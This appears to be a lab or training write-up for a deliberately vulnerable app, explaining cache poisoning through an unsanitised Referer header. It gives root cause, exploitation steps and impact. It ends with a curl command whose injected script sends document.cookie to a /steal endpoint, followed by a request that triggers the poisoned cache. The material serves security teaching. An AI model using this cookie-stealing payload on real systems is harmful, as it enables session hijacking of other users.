CachePoisoning
27-cache-poisoning-classic.py
Primary Vulnerability: Cache Poisoning via Referer Header
Root Cause:
The application caches responses that include the Referer header (user-controlled input) without proper sanitization
The cache key doesn't differentiate between different Referer headers, allowing poisoning
Exploitation Scenario:
-
An attacker can send a request with a malicious Referer header
-
The server caches this response with the malicious content
-
Subsequent users receive the poisoned cached response
Impact:
-
Stored XSS (if HTML/JS is injected via Referer)
-
Defacement of the cached page
-
Potential session hijacking if sensitive data is included
-
Information disclosure (showing other users' Referer headers)
$ curl -H "Referer: <script>fetch('http://localhost/steal?cookie='+document.cookie)</script>" http://127.0.0.1:1337
# trigger the exploit
$ curl 127.0.0.1:1337